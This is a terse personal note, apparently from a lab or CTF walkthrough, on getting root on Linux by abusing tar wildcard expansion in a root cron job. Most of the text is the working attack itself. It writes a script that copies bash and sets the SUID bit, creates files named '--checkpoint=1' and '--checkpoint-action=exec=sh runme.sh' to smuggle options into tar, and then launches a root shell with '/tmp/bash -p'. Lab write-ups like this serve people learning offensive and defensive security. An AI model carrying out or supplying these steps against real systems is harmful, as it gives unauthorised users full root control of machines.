wildcard crontab
start to disable scheduled task
cat /etc/crontab we find file call /usr/local/bin/compress.sh have a read permission after display the content of file
we found this file take a backup of all files on the system
tar when find any files start with
—-make this file as an option that’s make our to execute command by tar
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
# make script run with s privilege
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh
# wait one minute and open bash with root privilege
/tmp/bash -p
Last updated